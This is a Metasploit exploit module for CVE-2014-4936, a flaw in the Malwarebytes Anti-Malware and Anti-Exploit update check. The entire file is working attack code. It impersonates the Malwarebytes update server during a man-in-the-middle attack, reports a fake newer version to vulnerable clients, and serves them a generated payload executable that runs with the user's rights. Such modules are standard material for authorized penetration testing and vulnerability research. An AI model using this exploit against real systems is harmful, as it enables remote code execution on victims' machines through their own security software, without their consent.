##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking # Would be Great except MBAE doesn't version check

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer

  VERSION_REGEX = /\/v2\/(mbam|mbae)\/consumer\/version.chk/
  EXE_REGEX     = /\/v2\/(mbam|mbae)\/consumer\/data\/(mbam|mbae)-setup-(.*)\.exe/
  NEXT_VERSION  = { mbam: '2.0.3.1025', mbae: '1.04.1.1012' }

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution',
      'Description'    => %q{
        This module exploits a vulnerability in the update functionality of
        Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes
        Anti-Exploit consumer 1.03.1.1220.
        Due to the lack of proper update package validation, a man-in-the-middle
        (MITM) attacker could execute arbitrary code by spoofing the update server
        data-cdn.mbamupdates.com and uploading an executable. This module has
        been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Yonathan Klijnsma',  # Vulnerability discovery and PoC
          'Gabor Seljan',       # Metasploit module
          'todb'                # Module refactoring
        ],
      'References'     =>
        [
          [ 'CVE', '2014-4936' ],
          [' OSVDB', '116050'],
          [ 'URL', 'http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 16 2014',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ])
      ])

    # Vulnerable Malwarebytes clients do not allow altering these.
    deregister_options('SSL', 'SSLVersion', 'SSLCert')
  end

  def on_request_uri(cli, request)
    case request.uri
    when VERSION_REGEX
      serve_update_notice(cli) if set_exploit_target($1, request)
    when EXE_REGEX
      serve_exploit(cli)
    else
      vprint_status "Sending empty page for #{request.uri}"
      serve_default_response(cli)
    end
  end

  def serve_default_response(cli)
    send_response(cli, '')
  end

  def check_client_version(request)
    return false unless request['User-Agent'] =~ /base:(\d+\.\d+\.\d+\.\d+)/
    this_version = $1
    next_version = NEXT_VERSION[:mbam]
    if
      Gem::Version.new(next_version) >= Gem::Version.new(this_version)
      return true
    else
      print_error "Version #{this_version} of Anti-Malware isn't vulnerable, not attempting update."
      return false
    end
  end

  def set_exploit_target(package, request)
    case package
    when /mbam/i
      if check_client_version(request)
        @client_software = ['Anti-Malware', NEXT_VERSION[:mbam]]
      else
        serve_default_response(cli)
        return false
      end
    when /mbae/i
      # We don't get identifying info from MBAE
      @client_software = ['Anti-Exploit', NEXT_VERSION[:mbae]]
    end
  end

  def serve_update_notice(cli)
    software,next_version = @client_software
    print_status "Updating #{software} to (fake) #{next_version}. The user may need to click 'OK'."
    send_response(cli, next_version,
                  'Content-Type' => 'application/octet-stream'
                 )
  end

  def serve_exploit(cli)
    print_status "Sending payload EXE..."
    send_response(cli, generate_payload_exe,
                  'Content-Type' => 'application/x-msdos-program'
                 )
  end
end
